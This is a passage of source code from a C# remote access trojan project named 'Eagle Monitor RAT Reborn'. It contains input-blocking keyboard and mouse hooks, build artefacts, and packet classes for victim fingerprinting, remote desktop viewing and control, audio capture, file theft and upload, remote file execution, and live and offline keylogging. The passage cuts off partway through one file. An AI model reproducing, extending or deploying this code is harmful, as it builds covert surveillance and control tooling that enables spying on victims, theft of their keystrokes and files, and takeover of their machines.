IntPtr wp, IntPtr lp); [DllImport(user32)] internal static extern IntPtr SetWindowsHookEx(int id, Keyboard.LowLevelKeyboard callback, IntPtr hMod, uint dwThreadId); [DllImport(user32)] internal static extern IntPtr SetWindowsHookEx(int id, Mouse.LowLevelMouse callback, IntPtr hMod, uint dwThreadId); #endregion #region "Keyboard" internal const short WM_INPUT = 0x00ff; internal const short WM_KEYDOWN = 0x0100; internal const short WM_KEYUP = 0x0101; internal const short WM_CHAR = 0x0102; internal const short WM_DEADCHAR = 0x0103; internal const short WM_SYSKEYDOWN = 0x0104; internal const short WM_SYSKEYUP = 0x0105; internal const short WM_SYSCHAR = 0x0106; internal const short WM_SYSDEADCHAR = 0x0107; [StructLayout(LayoutKind.Sequential)] internal struct KBDLLHOOKSTRUCT { public Keys key; public int scanCode; public int flags; public int time; public IntPtr extra; } #endregion #region"Mouse" internal const short WM_MOUSEMOVE = 0x200; internal const short WM_LBUTTONDOWN = 0x201; internal const short WM_LBUTTONUP = 0x202; internal const short WM_LEFT_CLICK = 0x203;//???? internal const short WM_RBUTTONDOWN = 0x204; internal const short WM_RBUTTONUP = 0x205; internal const short WM_RBUTTONDBLCLK = 0x206; internal const short WM_MOUSEWHEEL = 0x020A; internal const short WM_MOUSEHWHEEL = 0x020E; [StructLayout(LayoutKind.Sequential)] internal struct MSLLHOOKSTRUCT { public Point pt; public int mouseData; public int flags; public int time; public IntPtr extra; } #endregion } } ================================================ FILE: Remote Access Tool/Utils/HookHardware/Keyboard.cs ================================================ using System; using static HookHardware.Imports; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace HookHardware { public class Keyboard { protected static IntPtr ptrHook; internal delegate IntPtr LowLevelKeyboard(int nCode, IntPtr wParam, IntPtr lParam); internal static LowLevelKeyboard callback; public void AbortHook() { try { //MessageBox.Show(ptrHook.ToString("x")); if (ptrHook != IntPtr.Zero) UnhookWindowsHookEx(ptrHook); } catch { } } public void HookKeyboard() { callback = new LowLevelKeyboard(BlockKey); ptrHook = SetWindowsHookEx(13, callback, System.Diagnostics.Process.GetCurrentProcess().MainModule.BaseAddress, 0); } protected static IntPtr BlockKey(int nCode, IntPtr wp, IntPtr lp) { try { if (nCode >= 0) { if (wp == (IntPtr)WM_CHAR) { return wp; } if (wp == (IntPtr)WM_DEADCHAR) { return wp; } if (wp == (IntPtr)WM_INPUT) { return wp; } if (wp == (IntPtr)WM_KEYDOWN) { return wp; } if (wp == (IntPtr)WM_KEYUP) { return wp; } if (wp == (IntPtr)WM_SYSCHAR) { return wp; } if (wp == (IntPtr)WM_SYSDEADCHAR) { return wp; } if (wp == (IntPtr)WM_SYSKEYUP) { return wp; } if (wp == (IntPtr)WM_SYSKEYDOWN) { return wp; } } else {} return IntPtr.Zero; } catch { } return IntPtr.Zero; } } } ================================================ FILE: Remote Access Tool/Utils/HookHardware/Mouse.cs ================================================ using System; using System.Runtime.InteropServices; using static HookHardware.Imports; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace HookHardware { public class Mouse { protected static IntPtr ptrHook; internal delegate IntPtr LowLevelMouse(int nCode, IntPtr wParam, IntPtr lParam); internal static LowLevelMouse callback; public void AbortHook() { try { if (ptrHook != IntPtr.Zero) UnhookWindowsHookEx(ptrHook); } catch { } } public void HookMouse() { callback = new LowLevelMouse(BlockKey); ptrHook = SetWindowsHookEx(14, callback, System.Diagnostics.Process.GetCurrentProcess().MainModule.BaseAddress, 0); } protected static IntPtr BlockKey(int nCode, IntPtr wp, IntPtr lp) { try { if (nCode >= 0) { MSLLHOOKSTRUCT objKeyInfo = (MSLLHOOKSTRUCT)Marshal.PtrToStructure(lp, typeof(MSLLHOOKSTRUCT)); if (wp == (IntPtr)WM_LBUTTONDOWN) //WM_LBUTTONDOWN { return wp; } if (wp == (IntPtr)WM_LBUTTONUP) //WM_LBUTTONUP { return wp; } if (wp == (IntPtr)WM_LEFT_CLICK) //'LEFT DB CLICK { return wp; } if (wp == (IntPtr)WM_RBUTTONDOWN) //'WM_RBUTTONDOWN { return wp; } if (wp == (IntPtr)WM_RBUTTONUP) //'WM_RBUTTONUP { return wp; } if (wp == (IntPtr)WM_RBUTTONDBLCLK) //' WM_RBUTTONDBLCLK { return wp; } if (wp == (IntPtr)WM_MOUSEMOVE) //' MOUSE MOVE { return wp; } if (wp == (IntPtr)WM_MOUSEWHEEL) //' MOUSE MOVE { return wp; } if (wp == (IntPtr)WM_MOUSEHWHEEL) //' MOUSE MOVE { return wp; } } else {} return IntPtr.Zero; } catch { } return IntPtr.Zero; } } } ================================================ FILE: Remote Access Tool/Utils/HookHardware/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // Les informations générales relatives à un assembly dépendent de // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations // associées à un assembly. [assembly: AssemblyTitle("HookHardware")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Eagle Monitor RAT")] [assembly: AssemblyCopyright("Arsium © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de // COM, affectez la valeur true à l'attribut ComVisible sur ce type. [assembly: ComVisible(false)] // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM [assembly: Guid("64c6e036-ff80-4f45-87f6-0a9996131fa1")] // Les informations de version pour un assembly se composent des quatre valeurs suivantes : // // Version principale // Version secondaire // Numéro de build // Révision // // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("3.2.4.0")] [assembly: AssemblyFileVersion("3.2.4.0")] ================================================ FILE: Remote Access Tool/Utils/HookHardware/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Utils/HookHardware/obj/Debug/HookHardware.csproj.CoreCompileInputs.cache ================================================ ff3eccbf27df8dc3ac959341b88822f4955231a0 ================================================ FILE: Remote Access Tool/Utils/HookHardware/obj/Debug/HookHardware.csproj.FileListAbsolute.txt ================================================ E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\HookHardware\bin\Debug\HookHardware.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\HookHardware\obj\Debug\HookHardware.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\HookHardware\obj\Debug\HookHardware.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\HookHardware\obj\Debug\HookHardware.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\HookHardware\bin\Debug\HookHardware.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\HookHardware\bin\Debug\HookHardware.pdb D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\HookHardware\obj\Debug\HookHardware.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\HookHardware\obj\Debug\HookHardware.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\HookHardware\obj\Debug\HookHardware.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\HookHardware\obj\Debug\HookHardware.pdb ================================================ FILE: Remote Access Tool/Utils/HookHardware/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Utils/HookHardware/obj/Release/HookHardware.csproj.CoreCompileInputs.cache ================================================ 9999eb1e9fdea4352ab06a5059721fab534aa2f0 ================================================ FILE: Remote Access Tool/Utils/HookHardware/obj/Release/HookHardware.csproj.FileListAbsolute.txt ================================================ D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\HookHardware\bin\Release\HookHardware.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\HookHardware\obj\Release\HookHardware.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\HookHardware\obj\Release\HookHardware.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\HookHardware\obj\Release\HookHardware.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\HookHardware\bin\Release\HookHardware.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\HookHardware\obj\Release\HookHardware.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\HookHardware\obj\Release\HookHardware.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\HookHardware\obj\Release\HookHardware.dll C:\Eagle Monitor RAT Reborn\HookHardware\bin\Release\HookHardware.dll C:\Eagle Monitor RAT Reborn\HookHardware\obj\Release\HookHardware.csproj.AssemblyReference.cache C:\Eagle Monitor RAT Reborn\HookHardware\obj\Release\HookHardware.csproj.CoreCompileInputs.cache C:\Eagle Monitor RAT Reborn\HookHardware\obj\Release\HookHardware.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\HookHardware\bin\Release\HookHardware.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\HookHardware\obj\Release\HookHardware.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\HookHardware\obj\Release\HookHardware.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\HookHardware\obj\Release\HookHardware.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\HookHardware\bin\Release\HookHardware.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\HookHardware\obj\Release\HookHardware.csproj.AssemblyReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\HookHardware\obj\Release\HookHardware.csproj.CoreCompileInputs.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\HookHardware\obj\Release\HookHardware.dll F:\$$$$$\Eagle Monitor RAT Reborn\HookHardware\bin\Release\HookHardware.dll F:\$$$$$\Eagle Monitor RAT Reborn\HookHardware\obj\Release\HookHardware.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\HookHardware\obj\Release\HookHardware.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\HookHardware\obj\Release\HookHardware.dll E:\$$$$$\Eagle Monitor RAT Reborn\HookHardware\bin\Release\HookHardware.dll E:\$$$$$\Eagle Monitor RAT Reborn\HookHardware\obj\Release\HookHardware.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\HookHardware\obj\Release\HookHardware.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\HookHardware\obj\Release\HookHardware.dll E:\$$$$$\Eagle Monitor RAT Reborn\Utils\HookHardware\bin\Release\HookHardware.dll E:\$$$$$\Eagle Monitor RAT Reborn\Utils\HookHardware\obj\Release\HookHardware.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Utils\HookHardware\obj\Release\HookHardware.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Utils\HookHardware\obj\Release\HookHardware.dll F:\$$$$$\Eagle Monitor RAT Reborn\Utils\HookHardware\bin\Release\HookHardware.dll F:\$$$$$\Eagle Monitor RAT Reborn\Utils\HookHardware\obj\Release\HookHardware.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Utils\HookHardware\obj\Release\HookHardware.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Utils\HookHardware\obj\Release\HookHardware.dll ================================================ FILE: Remote Access Tool/Utils/HookHardware/obj/Release/_IsIncrementalBuild ================================================ obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Utils/PacketLib/Interface/IPacket.cs ================================================ using PacketLib.Packet; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib { public interface IPacket { PacketType PacketType { get; } PacketState PacketState { get; set; } byte[] Plugin { get; set; } string BaseIp { get; set; } string HWID { get; set; } string Status { get; set; } string DatePacketStatus { get; set; } int PacketSize { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/LoadingAPI.cs ================================================ using PacketLib.Utils; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib { public class LoadingAPI { public Host Host { get; set; } public string BaseIp { get; set; } public string HWID { get; set; } public string Key { get; set; } public IPacket CurrentPacket { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Audio/RemoteAudioCapturePacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class RemoteAudioCapturePacket : IPacket { public RemoteAudioCapturePacket(PacketType packetType) : base() { this.PacketType = packetType; } public RemoteAudioCapturePacket(byte[] audioCapture, int bytesRecorded) : base() { this.PacketType = PacketType.AUDIO_RECORD_ON; this.audioCapture = audioCapture; this.bytesRecorded = bytesRecorded; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public int quality { get; set; } public int index { get; set; } public byte[] audioCapture { get; set; } public int bytesRecorded { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Audio/RemoteAudioPacket.cs ================================================ using System; using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class RemoteAudioPacket : IPacket { public RemoteAudioPacket() : base() { this.PacketType = PacketType.AUDIO_GET_DEVICES; } public RemoteAudioPacket(List audioDevices, string baseIp, string HWID) : base() { this.PacketType = PacketType.AUDIO_GET_DEVICES; this.BaseIp = baseIp; this.HWID = HWID; this.audioDevices = audioDevices; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public List audioDevices { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Client/BaseIpPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class BaseIpPacket : IPacket { public BaseIpPacket(string baseIp) : base() { this.PacketType = PacketType.CONNECTED; this.BaseIp = baseIp; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Client/ClosePacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class ClosePacket : IPacket { public ClosePacket() : base() { this.PacketType = PacketType.CLOSE_CLIENT; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Client/ConnectedPacket.cs ================================================ using PacketLib.Utils; using System; using System.Globalization; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class ConnectedPacket : IPacket { //client public ConnectedPacket() : base() { Plugin = null; Microsoft.VisualBasic.Devices.Computer I = new Microsoft.VisualBasic.Devices.Computer(); PacketType = PacketType.CONNECTED; Native.GetPhysicallyInstalledSystemMemory(out long lRam); RAM = string.Format("{0}Gb", (ulong)((double)lRam / 1024d / 1024d)); HWID = HwidGen.HWID(); Is64Bit = Miscellaneous.Check64Bit(); Privilege = Miscellaneous.Privilege(); OSName = I.Info.OSFullName; Username = Environment.UserName; RegionName = RegionInfo.CurrentRegion.Name + " - " + RegionInfo.CurrentRegion.EnglishName; RegionFlag = RegionInfo.CurrentRegion.Name.ToLower(); } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public string RAM { get; } public string Is64Bit { get; } public string Privilege { get; } public string OSName { get; } public string Username { get; } public string RegionName { get; } public string RegionFlag { get; } public bool keylogOffline { get; set; } public string sigKey { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Client/UninstallPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class UninstallPacket : IPacket { public UninstallPacket() : base() { this.PacketType = PacketType.UNINSTALL_CLOSE_CLIENT; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteKeyboardPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || || Inspiration : QuasarRAT || */ namespace PacketLib.Packet { [Serializable] public class RemoteKeyboardPacket : IPacket { public RemoteKeyboardPacket(byte keyCode, bool isDown) : base() { this.PacketType = PacketType.RM_KEYBOARD; this.keyCode = keyCode; this.isDown = isDown; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public byte keyCode { get; set; } public bool isDown { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteMousePacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class RemoteMousePacket : IPacket { public enum MouseTypeAction { LEFT_DOWN = 0, LEFT_UP = 1, RIGHT_DOWN = 2, RIGHT_UP = 3, MOVE_MOUSE = 4, MOVE_WHEEL_UP = 5, MOVE_WHEEL_DOWN = 6, MIDDLE_UP = 7, MIDDLE_DOWN = 8, UNKNOWN = 9 } public RemoteMousePacket(MouseTypeAction mouseTypeAction, int x = 0, int y = 0) : base() { this.PacketType = PacketType.RM_MOUSE; this.mouseTypeAction = mouseTypeAction; this.x = x; this.y = y; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public MouseTypeAction mouseTypeAction { get; set; } public int x { get; set; } public int y { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteViewerPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class RemoteViewerPacket : IPacket { public RemoteViewerPacket(PacketType packetType) : base() { this.PacketType = packetType; } public RemoteViewerPacket(PacketType packetType, string baseIp, string HWID) : base() { this.PacketType = packetType; this.BaseIp = baseIp; this.HWID = HWID; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public byte[] desktopPicture { get; set; } public int height { get; set; } public int width { get; set; } public int quality { get; set; } public string format { get; set; } public int timeMS { get; set; } public int vResol { get; set; } public int hResol { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/File/DeleteFilePacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class DeleteFilePacket : IPacket { //server public DeleteFilePacket(string path, string name, long fileTicket) : base() { PacketType = PacketType.FM_DELETE_FILE; this.path = path; this.name = name; this.fileTicket = fileTicket; } //client public DeleteFilePacket(string path, string name, bool deleted, string baseIp, string HWID, long fileTicket) : base() { PacketType = PacketType.FM_DELETE_FILE; this.BaseIp = baseIp; this.HWID = HWID; this.fileTicket = fileTicket; this.path = path; this.name = name; this.deleted = deleted; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public long fileTicket { get; set; } public string path { get; set; } public string name { get; set; } public bool deleted { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/File/DiskPacket.cs ================================================ using System; using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class DiskPacket : IPacket { //server public DiskPacket() : base() { PacketType = PacketType.FM_GET_DISK; } //client public DiskPacket(List disks, string baseIp, string HWID) : base() { PacketType = PacketType.FM_GET_DISK; this.BaseIp = baseIp; this.HWID = HWID; this.disksList = disks; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public List disksList { get;} } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/File/DownloadFilePacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class DownloadFilePacket : IPacket { //server public DownloadFilePacket(string path, long fileTicket) : base() { this.PacketType = PacketType.FM_DOWNLOAD_FILE; this.fileName = path; this.fileTicket = fileTicket; } //client public DownloadFilePacket(byte[]file, string fileName, string baseIp, string HWID, long fileTicket) : base() { this.PacketType = PacketType.FM_DOWNLOAD_FILE; this.BaseIp = baseIp; this.HWID = HWID; this.fileTicket = fileTicket; this.file = file; this.fileName = fileName; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public long fileTicket { get; set; } public string fileName { get; set; } public byte[] file { get; set; } public int size { get; set; } public int bufferSize { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/File/FileManagerPacket.cs ================================================ using System; using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class FileManagerPacket : IPacket { //server public FileManagerPacket(string path) : base() { PacketType = PacketType.FM_GET_FILES_AND_DIRS; this.path = path; } //client public FileManagerPacket(Dictionary> filesAndDirs, string baseIp, string HWID) : base() { PacketType = PacketType.FM_GET_FILES_AND_DIRS; this.BaseIp = baseIp; this.HWID = HWID; this.filesAndDirs = filesAndDirs; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public string path { get; set; } public Dictionary> filesAndDirs { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/File/RenameFilePacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class RenameFilePacket : IPacket { public RenameFilePacket() : base() { this.PacketType = PacketType.FM_RENAME_FILE; } public RenameFilePacket(string oldName, string oldPath, string newName, string newPath) { this.PacketType = PacketType.FM_RENAME_FILE; this.oldName = oldName; this.oldPath = oldPath; this.newName = newName; this.newPath = newPath; } public RenameFilePacket(string oldName, string oldPath, string newName, string newPath, string baseIp, string HWID) { this.PacketType = PacketType.FM_RENAME_FILE; this.BaseIp = baseIp; this.HWID = HWID; this.oldName = oldName; this.oldPath = oldPath; this.newName = newName; this.newPath = newPath; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public string oldName { get; set; } public string oldPath { get; set; } public string newName { get; set; } public string newPath { get; set; } public bool isRenamed { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/File/ShortCutFileManagersPacket.cs ================================================ using System; using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class ShortCutFileManagersPacket : IPacket { public enum ShortCuts : byte { DOWNLOADS = 0, DOCUMENTS = 1, DESKTOP = 2, USER_PROFILE = 3 } //server public ShortCutFileManagersPacket(ShortCuts shortCuts) : base() { this.PacketType = PacketType.FM_SHORTCUT_PATH; this.shortCuts = shortCuts; } //client public ShortCutFileManagersPacket(Dictionary> filesAndDirs, string baseIp, string HWID) : base() { PacketType = PacketType.FM_SHORTCUT_PATH; this.BaseIp = baseIp; this.HWID = HWID; this.filesAndDirs = filesAndDirs; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public string path { get; set; } public ShortCuts shortCuts { get; set; } public Dictionary> filesAndDirs { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/File/StartFilePacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class StartFilePacket : IPacket { public StartFilePacket(string filePath) : base() { PacketType = PacketType.FM_START_FILE; this.filePath = filePath; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public string filePath { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/File/UploadFilePacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class UploadFilePacket : IPacket { //server public UploadFilePacket(string path, byte[] file) : base() { this.PacketType = PacketType.FM_UPLOAD_FILE; this.path = path; this.file = file; } //client public UploadFilePacket(string fileName, bool uploaded, string baseIp, string HWID) : base() { this.PacketType = PacketType.FM_UPLOAD_FILE; this.BaseIp = baseIp; this.HWID = HWID; this.path = fileName; this.uploaded = uploaded; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public string path { get; set; } public bool uploaded { get; set; } public byte[] file { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/InformationPacket.cs ================================================ using System; using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class HardwareInformation { public Dictionary> cpuInformation { get; set; } public Dictionary hardwareInformation { get; set; } } [Serializable] public class SystemInformation { public enum AccountType { Admin, User, Guest, Unknown } public Dictionary systemInformation { get; set; } } [Serializable] public class Information { public HardwareInformation hardwareInformation; public SystemInformation systemInformation; } [Serializable] public class InformationPacket : IPacket { public InformationPacket() : base() { this.PacketType = PacketType.MISC_INFORMATION; } public InformationPacket(Dictionary> cpuInformation, string baseIp, string HWID) : base() { this.PacketType = PacketType.MISC_INFORMATION; this.BaseIp = baseIp; this.HWID = HWID; this.information = new Information(); this.information.hardwareInformation = new HardwareInformation(); this.information.systemInformation = new SystemInformation(); this.information.hardwareInformation.cpuInformation = cpuInformation; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public Information information { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogOfflinePacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class KeylogOfflinePacket : IPacket { public KeylogOfflinePacket(string keyStroke, string baseIp, string HWID) : base() { this.PacketType = PacketType.KEYLOG_OFFLINE; this.keyStroke = keyStroke; this.BaseIp = baseIp; this.HWID = HWID; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public string keyStroke { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class KeylogPacket : IPacket { public KeylogPacket() : base() { PacketType = PacketType.KEYLOG_ON; } public KeylogPacket(string keyStroke, string baseIp, string HWID) : base() { PacketType = PacketType.KEYLOG_ON; this.BaseIp = baseIp; this.HWID = HWID; this.keyStroke = keyStroke; } public KeylogPacket(string baseIp, string HWID) : base() { PacketType = 